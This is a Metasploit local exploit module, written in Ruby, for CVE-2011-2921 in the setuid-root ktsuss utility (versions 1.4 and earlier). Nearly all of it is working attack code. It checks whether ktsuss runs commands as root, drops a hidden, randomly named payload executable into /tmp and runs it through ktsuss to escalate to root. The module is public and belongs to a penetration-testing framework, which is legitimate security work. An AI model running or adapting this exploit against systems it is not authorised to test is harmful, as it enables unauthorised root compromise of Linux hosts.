ktsuss Suid Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ktsuss suid Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges by exploiting  
a vulnerability in ktsuss versions 1.4 and prior.  
  
The ktsuss executable is setuid root and does not drop  
privileges prior to executing user specified commands,  
resulting in command execution with root privileges.  
  
This module has been tested successfully on:  
  
ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and  
ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'John Lightsey', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2011-08-13',  
'References' =>  
[  
['CVE', '2011-2921'],  
['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'],  
['URL', 'https://security.gentoo.org/glsa/201201-15'],  
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh']  
],  
'Platform' => ['linux'],  
'Arch' =>  
[  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'DefaultOptions' =>  
{  
'AppendExit' => true,  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependSetreuid' => true,  
'PrependSetuid' => true,  
'PrependFork' => true  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss'])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def ktsuss_path  
datastore['KTSUSS_PATH']  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def check  
unless setuid? ktsuss_path  
vprint_error "#{ktsuss_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{ktsuss_path} is setuid"  
  
id = cmd_exec 'whoami'  
res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s  
vprint_status res  
  
unless res.include? 'uid=0'  
return CheckCode::Safe  
end  
  
CheckCode::Vulnerable  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
payload_name = ".#{rand_text_alphanumeric 10..15}"  
payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Executing payload ...'  
id = cmd_exec 'whoami'  
res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo "  
vprint_line res  
end  
end  
`